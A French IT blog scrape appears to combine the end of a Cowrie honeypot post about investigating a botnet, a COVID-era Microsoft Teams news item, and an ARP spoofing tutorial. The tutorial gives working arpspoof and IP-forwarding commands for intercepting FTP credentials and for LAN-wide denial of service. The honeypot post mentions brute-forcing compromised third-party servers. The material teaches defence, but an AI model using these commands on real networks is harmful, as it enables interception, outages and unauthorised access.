<figure class="wp-block-image"><a href="media/5c401ef0.cowrie-14.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14.png"><img class="aligncenter size-large wp-image-33931" src="media/f20981e5.cowrie-14-800x468.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-800x468.png" alt="" width="800" height="468" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-800x468.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-550x322.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-150x88.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-768x449.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-160x94.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-14.png 814w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Les utilisateurs connectés sont bien des bots issus du script que j'ai récupéré, je parviens à reconnaitre certains des noms provenant de la fonction du choix aléatoire de pseudo :</p>



<figure class="wp-block-image"><a href="media/18efa138.cowrie-15.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15.png"><img class="aligncenter size-full wp-image-33932" src="media/18efa138.cowrie-15.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15.png" alt="" width="636" height="675" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15.png 636w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15-550x584.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15-141x150.png 141w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15-151x160.png 151w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-15-47x50.png 47w" sizes="(max-width: 636px) 100vw, 636px" /></a></figure>



<p>Chose intéressante,<strong> je peux découvrir l'adresse IP des serveurs compromis</strong> grâce à la fonction de recherche d'informations proposée par IRC :</p>



<figure class="wp-block-image alignfull">
<figure id="attachment_33934" aria-describedby="caption-attachment-33934" style="width: 800px" class="wp-caption aligncenter"><a href="media/956677f9.cowrie-17.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17.png"><img class="wp-image-33934 size-large" src="media/1ed56808.cowrie-17-800x374.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-800x374.png" alt="" width="800" height="374" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-800x374.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-550x257.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-768x359.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-160x75.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-17.png 1028w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33934" class="wp-caption-text">Obtention d'informations sur les serveurs compromis</figcaption></figure>


</figure>
<p>Un rapide scan <em>nmap </em>sur ces IP me <strong>confirme qu'elles ont toutes un port TCP/22 (SSH) en écoute</strong>, je n'ai donc plus qu'à effectuer moi aussi une attaque par brute force sur des couples login/mot de passe simples pour en prendre le contrôle. Je pourrais aussi en profiter pour supprimer ce script <em>perl</em>, mais sans changement de mot de passe, <strong>il reviendrait aussi vite que sur mon </strong><em><strong>Honey pot</strong></em> (c'est à dire en quelques minutes) :</p>



<figure class="wp-block-image">
<figure id="attachment_33935" aria-describedby="caption-attachment-33935" style="width: 671px" class="wp-caption aligncenter"><a href="media/8d8f5310.cowrie-18.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18.png"><img class="size-full wp-image-33935" src="media/8d8f5310.cowrie-18.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18.png" alt="" width="671" height="267" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18.png 671w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18-550x219.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18-160x64.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-18-50x20.png 50w" sizes="(max-width: 671px) 100vw, 671px" /></a><figcaption id="caption-attachment-33935" class="wp-caption-text">scan nmap sur les IP publiques des bots du channel IRC</figcaption></figure>
</figure>



<p>Je décide d'arrêter ici mes investigations sur le serveur IRC sous peine d'être pris pour son propriétaire. En effet, le script utilisé peut agir à la fois comme client, mais aussi comme serveur, qui transmet d'ailleurs ses ordres par messages privés :</p>



<figure class="wp-block-image alignfull">
<figcaption>
<figure id="attachment_33933" aria-describedby="caption-attachment-33933" style="width: 800px" class="wp-caption aligncenter"><a href="media/6b1ffcdb.cowrie-16.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16.png"><img class="size-large wp-image-33933" src="media/19d59d15.cowrie-16-800x397.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-800x397.png" alt="" width="800" height="397" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-800x397.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-550x273.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-768x381.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-160x79.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-16.png 1028w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33933" class="wp-caption-text">Visualisation des ordres pouvant être donnés au botnet</figcaption></figure>
</figcaption>
</figure>



<p>Pour aller plus loin dans les investigations, il faudrait attendre que de nouveaux bots arrivent et que le propriétaire déclenche des attaques. Pour cela, <strong>il serait probablement obligé de se connecter au canal IRC, et donc de révéler son adresse IP</strong> (probablement tunnelisée...).</p>





<p>C'est tout pour cet article, j'espère qu'il vous aura intéressé. Beaucoup de choses intéressantes peuvent être faites avec un <em>Honey pot</em> , bien qu'il ne m’ait jamais été donné d'en croiser lors de mes audits (ou alors je n'étais pas au courant 🙂 ). N'hésitez pas à partager vos expériences sur le sujet dans les commentaires.</p>


feed_id: https://www.it-connect.fr/?p=34683
title: Coronavirus : Microsoft Teams gratuit pendant 6 mois
uri: Coronavirus-Microsoft-Teams-gratuit-pendant-6-mois
url: https://www.it-connect.fr/coronavirus-microsoft-teams-gratuit-pendant-6-mois/
content:
<p><strong>Le Coronarvirus continue de progresser et de nouvelles directives sont données, alors pour faciliter le télétravail des salariés du monde entier, Microsoft a décidé de rendre Microsoft Teams gratuit pendant 6 mois. Les principaux acteurs du numérique s’activent pour proposer des solutions.</strong></p>
<p>Avec cette situation de plus en plus compliquée, où l'on subit les directives des Etats du monde entier, les entreprises doivent trouver des solutions pour rester un minimum productive dans cette période qui s’annonce délicate d’un point de vue économique. Les outils collaboratifs tels que Teams apportent une vraie solution lorsqu'il s’agit de travailler à distance en restant productif.</p>
<p>Par l’intermédiaire de JP Courtois (vice-président Marketing et Opérations de Microsoft), la firme de Redmond a annoncée que Teams devient gratuit pour tout le monde, pendant 6 mois. <strong>Il précise que Microsoft souhaite soutenir la santé publique en rendant le travail à distance plus facile.</strong></p>
<p>Bien que cela ne soit sûrement pas innocent… on peut saluer cette décision de Microsoft. D’autres acteurs, notamment Google et LogMeIn ont fait un effort équivalent sur certains services pour faciliter les visioconférences, avec les solutions Hangouts et GoToMeeting. Par ailleurs, Cisco propose des licences d’essais de 90 jours pour sa solution de réunion virtuelle Webex, et dans sa version gratuite le nombre de participants passe à 100.</p>


feed_id: https://www.it-connect.fr/?p=34414
title: Comprendre les attaques via ARP spoofing (MITM, DOS)
uri: Comprendre-les-attaques-via-ARP-spoofing-(MITM-DOS)
url: https://www.it-connect.fr/comprendre-les-attaques-via-arp-spoofing-mitm-dos/
content:
<h2>I. Présentation</h2>
<p>L’ARP est un protocole qui, de par sa conception, expose les réseaux informatiques et leurs composants à des vulnérabilités et des dangers qui sont faciles à exploiter lorsque l’on connaît bien son fonctionnement. Nous allons ici étudier le fonctionnement des attaques utilisant le protocole ARP puis essayer de donner des pistes pour s'en protéger.</p>
<p>Nous allons ici voir en quoi l’ARP est exploitable sur les réseaux afin d’effectuer des attaques de type <em>MITM</em> (“<em>Man in the Middle</em>“) ainsi que des attaques <em>DOS</em> (“<em>Denial Of Service</em>“). Si vous ne savez pas ce qu'est le protocole ARP ou que souhaitez une piqûre de rappel, je vous oriente vers ce tutoriel que j'ai rédigé sur le site IT-Connect.fr : <a href="http://www.it-connect.fr/quest-ce-que-larp/" target="_blank" rel="noopener noreferrer">Qu'est-ce que l'ARP ?</a></p>
<h2>II. Le point faible du fonctionnement d’ARP et d’Ethernet</h2>
<p>L'ARP est un protocole de couche 2 du modèle OSI et TCP/IP), lors des échanges sur un réseau,<strong> les adresses MAC sont utilisées pour la formation des trames Ethernet et le rôle de l’ARP est donc de fournir, à partir d’une adresse IP, l’adresse MAC correspondante</strong>. Par défaut, une carte réseau refuse les paquets reçus n’ayant pas son adresse MAC comme adresse MAC de destination. On pourrait comparer cela au fait de recevoir une lettre alors que le nom du destinataire n'est pas le notre, nos cartes réseaux, en individus sages et réfléchis, refusent donc d'ouvrir ces lettres.</p>
<p><strong>Une trame Ethernet complète doit donc forcément avoir un couple IP-MAC correcte dans les champs destination pour transiter sans encombre d’un hôte A à un hôte B.</strong><br />
Cependant, le fonctionnement d’ARP sur les ordinateurs est le suivant  :  à chaque réception d’un paquet, la carte réseau va vérifier le couple IP-MAC qu'il contient et mettre à jour sa table ARP (aussi appelée cache ARP) si le couple trouvé n’est pas enregistré. <strong>Ceci dans le but de ne pas faire de requête ARP à chaque échange et de remplir son cache ARP de façon dynamique</strong>. Partant de ce principe, on peut très bien imaginer que si l’on a trois hôtes, un hôte A pourrait très bien informer un deuxième hôte B via une requête ARP qu’il dispose de l'adresse MAC de l'hôte C sans que cela soit vrai.<br />
Le principe de <em>l’ARP</em> ou du <em>MAC spoofing</em> (spoofing voulant dire <em>“parodier”, “usurper”)</em> est d’<strong>envoyer des informations à un système afin de lui faire enregistrer des informations qui ne sont pas les bonnes</strong> <strong>et qui usurpent l’identité (la relation IP-MAC) d’un autre système</strong>. Partons du schéma suivant :</p>
<figure id="attachment_34459" aria-describedby="caption-attachment-34459" style="width: 800px" class="wp-caption aligncenter"><a href="media/de1385d0.attaque-arp-spoof-protection-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01.jpg"><img class="size-large wp-image-34459" src="media/52b6e575.attaque-arp-spoof-protection-01-800x411.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-800x411.jpg" alt="" width="800" height="411" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-800x411.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-550x283.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-150x77.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-768x395.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-160x82.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01-50x26.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/attaque-arp-spoof-protection-01.jpg 965w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34459" class="wp-caption-text">Schéma basique d'un LAN relié par un switch de niveau 2</figcaption></figure>
<p>Ici, le Pirate possède l’adresse MAC <em>00:0C:19:AC:44:CA</em> et le serveur l’adresse MAC <em>00:0C:29:4A:A4:41</em>, la table adresse MAC chez le client ressemble donc à cela (obtenue avec la commande "<em>arp -a</em>" sous Windows comme sous Linux) :</p>
<pre>gateway.local (192.168.19.2) at 00:05:56:e9:52:3b [ether] on eth0
pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] on eth0
serveur.local (192.168.19.132) at 00:0c:29:4a:a4:41 [ether] on eth0</pre>
<p>Table ARP du client avant attaque</p>
<p>On voit donc ici les associations IP-MAC correspondent à notre schéma. Si le pirate envoie des paquets au client avec l’adresse IP du source du serveur mais en laissant son adresse MAC (ce qui est faisable si l'on construit nos paquets nous même plutôt que si on laisse notre carte réseau le faire), la table ARP de notre client va donc enregistrer le couple suivant :</p>
<pre>192.168.19.132 – 00:0C:19:AC:44:CA</pre>
<p>La table ARP de notre client va donc ressembler à cela :</p>
<pre>gateway.local (192.168.19.2) at 00:0c:19:ac:44:ca [ether] on eth0
pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] on eth0
serveur.local (192.168.19.132) at 00:0c:19:ac:44:ca [ether] on eth0</pre>
<p>Table ARP après attaque</p>
<p>Cela vient du fait que l’enregistrement est marqué comme dynamique, donc volatile, et qu’il peut être mis à jour à chaque réception de paquet présentant des couples IP – MAC différents. Les paquets que le client va générer à destination du serveur vont donc à présent se former avec l’adresse IP destination du serveur et avec l’adresse MAC destination du pirate étant donné qu’il se base pour cela sur sa table ARP et que celle-ci est falsifiée.</p>
<p>Pour ceux qui ont du mal à comprendre comment exploiter ce fonctionnement,<strong> il faut se pencher sur le fonctionnement des switchs de niveau 2 qui est assez basique</strong>. Quand un swtich reçoit un paquet, il va observer l’adresse MAC destination (une trame Ethernet contenant un champ adresse destination et un champ adresse source, toutes deux des adresses MAC), comparer cette adresse avec sa table <em>CAM</em> (<em>Content Adressable Memory</em>) qui contient la correspondance MAC – port sur lequel elle est affectée. Si la MAC a été enregistrée précédemment sur une de ses interfaces, il envoie le paquet sur cette interface, sinon il émet une requête ARP afin de voir sur quelle interface est l’adresse MAC renseignée.<strong> Il est important de comprendre ici qu'un switch de niveau 2 ne regardera absolument pas les données concernant l'IP (source et destination), mais uniquement la couche 2 (contenant les adresses MAC)</strong>.</p>
<p>On voit donc que si la table ARP de notre cible est falsifiée,<strong> il va former ces trames avec l’adresse IP du serveur mais va en fin de compte les envoyer au pirate car il formera ses requêtes avec comme adresse MAC de destination celle du pirate</strong>. Il est important de bien visualiser ces différentes couches et leur impact sur le chemin des paquets au travers un switch pour comprendre les attaques par ARP spoofing.</p>
<h2>III. Mise en œuvre de l’attaque avec arpspoof</h2>
<p>Passons à la pratique, si vous avez encore du mal à saisir le principe, la mise en pratique d’une attaque ARP va vous aider à mieux comprendre son fonctionnement et ses possibilités. On parle d’ARP spoofing ou de MAC spoofing quand il s’agit de falsifier la table ou le cache ARP d’un système. Pour information, l’anglais <em>“spoof”</em> ou <em>“spoofing”</em> se traduit <em>“parodier”</em> ou <em>“usurper”</em> en français.</p>
<h3>A. Attaque Man in the Middle</h3>
<p><strong>L’objectif de l'attaquant va ici être de se faire discret en faisant tout pour ne pas soupçonner une attaque</strong>, l’attaquant va donc rediriger les paquets détournés afin que les utilisateurs naviguent et utilisent le réseau sans perturbation ou coupure, et avec le moins de ralentissement réseau possible. On obtient ce genre de comportement lorsque l’on cherche à capturer des informations transitant entre deux systèmes par exemple, l’ARP spoof va alors être une étape de l’attaque <em>MITM</em> (elle ne constitue pas l’intégralité de l’attaque). <strong>Une attaque <em>Man in the Middle</em> permet à l'attaquant de se positionner au milieu d'une conversation ou d'un échange réseau pour intercepter, lire, supprimer ou modifier tout ou partie de cette communication</strong>.</p>
<p>Dans notre attaque, nous suivons le même schéma que celui exposé un peu plus haut. Nous allons ici essayer de capturer une session FTP via ARP spoofing. <strong>Plus clairement, nous allons faire en sorte d’intercepter les communications du client, initialement destinées au serveur </strong>sur lequel nous avons installé un service FTP, mais nous allons également avoir pour soucis de faire suivre les paquets afin que le client ne se doute de rien et accède bien au serveur.</p>
<p>Sur notre poste pirate (KaliLinux), nous activons dans un premier temps le forwarding de paquet :</p>
<pre>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre>
<p>Sans cette commande, les paquets ne pourront pas transiter à travers le système de notre pirate et ainsi atteindre leur cible originelle. Dans un deuxième temps, nous allons utiliser <em>“arpspoof”</em> pour envoyer continuellement des paquets ARP qui vont falsifier la table ARP de notre client. On va donc indiquer que l’IP du serveur a notre adresse MAC :</p>
<pre>arpspoof -t 192.168.19.131 192.168.19.132</pre>
<p>On peut traduire cette ligne de commande par “<em>fait moi passer pour 192.168.19.132 auprès de 192.168.19.131</em>“. Pour information, on va envoyer des paquets de façon constante car si une communication est effectuée du serveur vers le client, ce dernier va à nouveau mettre à jour sa table ARP et cette fois-ci avec les informations correctes. Il faut donc remettre continuellement à jour la table ARP de notre client pour qu'elle reste falsifiée. Voici la sortie que nous aurons une fois la commande lancée :<a href="media/647f4d27.arp-spoof-attaque-protection-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04.png"><img class="aligncenter size-full wp-image-34458" src="media/647f4d27.arp-spoof-attaque-protection-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04.png" alt="" width="623" height="40" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04.png 623w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-550x35.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-150x10.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-160x10.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-50x3.png 50w" sizes="(max-width: 623px) 100vw, 623px" /></a><br />
On remarque l’envoi de paquet ARP reply indiquant que l’IP du serveur (<em>192.168.19.132</em>) a maintenant l’adresse MAC du pirate (<em>00:c:29:ac:44:ca</em>), il s'agit ici d'une donnée qui est fausse et falsifiée par l'action du pirate.</p>
<p>Nous voyons donc clairement que l’outil envoie des paquets ARP reply (je vous renvoie vers le tutoriel sur l’ARP pour plus de précision), ce qui va avoir pour effet de falsifier la table ARP de la cible. Il faut savoir que dans une utilisation normale d’ARP, les ARP reply interviennent en réponse à une requête ARP diffusée le plus souvent en broadcast par un autre hôte ou alors lorsqu’un hôte arrive sur un nouveau réseau. Si l'on observe ces paquets avec Wireshark :<br />
<a href="media/29486753.arp-spoof-attaque-protection-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02.png"><img class="aligncenter size-full wp-image-34457" src="media/29486753.arp-spoof-attaque-protection-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02.png" alt="" width="686" height="369" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02.png 686w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02-550x296.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02-160x86.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-02-50x27.png 50w" sizes="(max-width: 686px) 100vw, 686px" /></a>Nous voyons ici très clairement les paquets successivement envoyés par notre pirate. On voit que ce sont des <em>ARP reply</em> et, chose intéressante, on remarque que le <em>Sender MAC address</em> est bien l’adresse MAC de notre pirate (conformément à notre schéma) mais que le <em>Sender IP address</em> est celle de notre serveur, ce qui montre bien le fonctionnement de l’ARP spoofing. Pendant l’envoi de ces informations, voici à quoi va ressembler la table ARP de notre cible :</p>
<pre>gateway.local (192.168.19.2) at 00:05:56:e9:52:3b [ether] on eth0
pirate.local (192.168.19.130) at 00:0c:19:ac:44:ca [ether] on eth0
serveur.local (192.168.19.132) at 00:0c:19:ac:44:ca [ether] on eth0</pre>
<p>Table ARP après attaque</p>
<p>Nous allons maintenant poursuivre notre attaque MITM en effectuant une requête FTP de la part de notre client vers notre serveur. En toute logique, les paquets vont donc atterrir chez notre pirate car le client va utiliser sa table ARP (falsifiée), le switch va donc envoyer ces paquets à notre pirate car il fait correctement son travail (un peu bêtement d'ailleurs), pirate qui va faire suivre les paquets vers le serveur car il a l’IP forwarding d’activé. On procède donc à une écoute réseau sur notre pirate avec Wireshark durant la requête :<br />
<a href="media/20b4fc74.arp-spoof-attaque-protection-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01.png"><img class="aligncenter size-full wp-image-34456" src="media/20b4fc74.arp-spoof-attaque-protection-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01.png" alt="" width="773" height="156" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01.png 773w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01-550x111.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01-150x30.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01-768x155.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01-160x32.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-01-50x10.png 50w" sizes="(max-width: 773px) 100vw, 773px" /></a><br />
On voit donc que les identifiants FTP passent par notre pirate alors que, normalement ils ne doivent pas y transiter, mais si l'on observe l’entête Ethernet de ces paquets FTP :</p>
<p><a href="media/3db804cc.arp-spoof-attaque-protection-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03.png"><img class="aligncenter size-large wp-image-34455" src="media/cfbed463.arp-spoof-attaque-protection-03-800x159.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-800x159.png" alt="" width="800" height="159" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-800x159.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-550x109.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-150x30.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-768x153.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-160x32.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03-50x10.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-03.png 824w" sizes="(max-width: 800px) 100vw, 800px" /></a>Nous voyons que la destination des paquets FTP est bien l’IP du serveur pour le niveau 3 mais qu’elle est la MAC de notre piratep pour le niveau 2, ce qui fait qu’un switch de niveau 2 va diriger les paquets vers notre pirate plutôt que vers le serveur. Voici ce qu'il se passe actuellement au niveau réseau :<br />
<a href="media/43042f9b.arp-spoof-attaque-protection-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04.jpg"><img class="aligncenter size-large wp-image-34460" src="media/0a8fcc77.arp-spoof-attaque-protection-04-800x434.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-800x434.jpg" alt="" width="800" height="434" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-800x434.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-550x298.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-768x417.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-160x87.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04-50x27.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/arp-spoof-attaque-protection-04.jpg 1038w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Etape 1 : Notre pirate usurpe donc l'adresse MAC du serveur auprès du client. La table ARP du client étant falsifiée, les paquets qu'il enverra seront dans un premier temps envoyés à notre pirate.</p>
<p>Étape 2 : Notre pirate intercepte les paquets envoyés par le client, puis les rejoue auprès du serveur, nous sommes donc dans un contexte d'attaque par "L'homme du milieu" (Man in the middle).</p>
<p>Étape 3 : Le serveur va répondre aux requêtes du clients en lui envoyant directement les paquets.</p>
<p>Il faut noter que pour que l'attaque soit complète,<strong> il faudrait également effectuer une attaque ARPspoof pour le chemin de retour</strong>, usurpant ainsi l'identité (l'adresse MAC) du client auprès du serveur. On pourrait alors récupérer par exemple les fichiers récupérés par le client sur le serveur et les reconstituer directement dans Wireshark.</p>
<p>Nous venons de voir ensemble comment un pirate peu effectuer une attaque MITM grâce à l'ARP spoofing. Nous allons également voir que l'ARP Spoofing permet d'effectuer une attaque par déni de service (DOS). Nous verrons ensuite, et c'est le but de l'article, comment essayer de se protéger de ces attaques.</p>
<h3>B. Attaque DOS via ARP Spoofing</h3>
<p>L’objectif d'un attaquant est est ici de mettre à mal un service informatique ou une partie de celui-ci, que ce soit une plage IP, un ou plusieurs hôtes ciblés. Pour ce faire, il faut suivre également le même principe de l’attaque MITM<strong> sauf que nous allons désactiver l’IP forwarding</strong>. Ainsi, les paquets ne seront pas retransmis à leur cible originelle et tomberont donc dans le vide, rendant ainsi la connectivité de notre ou nos cibles impossible car aucun paquet n’arrivera à destination. Pour ce faire, l'attaquant peur se faire passer pour la passerelle auprès du client, dès qu’il voudra aller sur Internet ou sur un autre réseau, les paquets destinés à la passerelle arriveront sur le pirate qui ne les fera pas suivre.</p>
<p><strong>Principe d’une attaque à plus grande échelle (plusieurs hôtes impactés)</strong></p>
<p>Nous n'avons dans notre exemple ciblé qu’un seul hôte, cependant, nous pouvons également opter pour la diffusion des messages ARP falsifiant les tables ARP des cibles en broadcast, ce qui aura pour effet d’affecter toutes les machines se situant sur la même plage IP que nous. On appelle ce mode de fonctionnement de l’attaque ARP spoofing le <em>gratuitous ARP</em>. Par exemple :</p>
<pre>aprspoof -t 192.168.19.255 192.168.19.2</pre>
<p>Cette commande, en suivant notre schéma d’origine, va nous faire passer pour la passerelle sur tout le réseau et va donc rediriger l’intégralité du trafic du réseau vers notre poste pirate. Nous pourrons alors au choix en activant l’IP forwarding capturer le trafic et le faire suivre pour que les postes ne se doutent de rien ou alors désactiver l’IP forwarding pour causer une attaque par déni de service.</p>
<h2>IV. ARPspoof, comment se sécuriser ?</h2>
<p>Nous avons vu le concept de l'ARP spoofing, comment cette attaque pouvait être effectuée par un attaquant et quels pouvaient être les impacts de cette attaque au sein d'un système d'information. Il n'est pas dans mes habitudes de faire un article détaillant une attaque pour l'attaque elle-même, nous allons donc maintenant voir ensemble des outils et des pistes de sécurisation afin de se protéger contre l'ARP spoofing. Le fait est que pour bien se défendre, il faut comprendre en détail comment on est attaqué, voila chose faite 🙂 .</p>
<h3>A. L'enregistrement ARP statique</h3>
<p>Une des techniques, la plus simple mais la plus lourde dans un contexte d’entreprise, est d'<strong>utiliser la fonction "enregistrement statique" des tables ARP dans les OS Windows et Linux</strong>. Nous avons vu que le remplissage et la modification de la table ARP dans les OS était dynamique. Nous pouvons toutefois, pour les éléments critiques du système d'information (Gateway, AD, web intranet par exemple)<strong> forger une adresse ARP de façon statique dans la table ARP des machines</strong>, <strong>ces enregistrements statiques ne seront ainsi plus falsifiables via des requêtes ARP malicieuses</strong>. Cela peut se faire avec l'option "<em>-s</em>" de la commande ARP :</p>
<pre>arp -s adresseIP adresse MAC</pre>
<p>Ici, l’option "<em>-s</em>" indique le renseignement de l'association IP-MAC en <em>“static”,</em> une attaque par ARP spoofing ne pourra plus la modifier.<br />
Cette protection comporte bien évidemment quelques inconvénients dans le cadre d'une maintenance quotidienne d'un parc client, si le système enregistré de façon statique (par exemple, la passerelle) est modifié, il faut aller changer l’enregistrement statique sur tous les hôtes client du parc.<strong> Cela peut être le cas par exemple lors du changement d'interface réseau, d'un remplacement de matériel ou encore de l'activation d'un système de Load Balancing ou de FailOver</strong>. Dans un parc informatique, on peut alors s'aider d'un script de démarrage ou du déploiement fait via les GPO, cela reste tout de même contraignant au quotidien.</p>
<h3>B. Bloquer les paquets "gratuitous ARP" : L'approche Symantec et SonicWall</h3>
